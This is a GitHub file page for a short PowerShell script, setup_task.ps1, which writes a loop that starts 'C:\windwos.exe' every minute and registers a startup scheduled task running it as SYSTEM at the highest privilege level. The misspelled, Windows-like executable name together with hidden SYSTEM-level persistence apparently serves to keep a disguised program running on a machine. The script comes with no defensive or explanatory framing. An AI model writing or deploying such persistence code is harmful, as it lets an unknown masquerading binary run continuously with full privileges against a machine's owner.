-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsetup_task.ps1
More file actions
29 lines (22 loc) · 998 Bytes
/
setup_task.ps1
File metadata and controls
29 lines (22 loc) · 998 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Define the PowerShell script content
$scriptContent = @'
while ($true) {
Start-Process "C:\windwos.exe"
Start-Sleep -Seconds 60
}
'@
# Define the path for the PowerShell script file
$scriptPath = "C:\run_every_minute.ps1"
# Create and save the PowerShell script file
New-Item -Path $scriptPath -ItemType File -Force
Set-Content -Path $scriptPath -Value $scriptContent
# Define the task name
$taskName = "Run_EXE_Every_Minute"
# Define the action to run the PowerShell script
$action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-File $scriptPath"
# Define the trigger to start the task at system startup
$trigger = New-ScheduledTaskTrigger -AtStartup
# Register the scheduled task to run at startup with highest privileges
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName $taskName -Description "Run EXE file every minute using PowerShell script" -User "SYSTEM" -RunLevel Highest
# Verify the task creation
Get-ScheduledTask -TaskName $taskName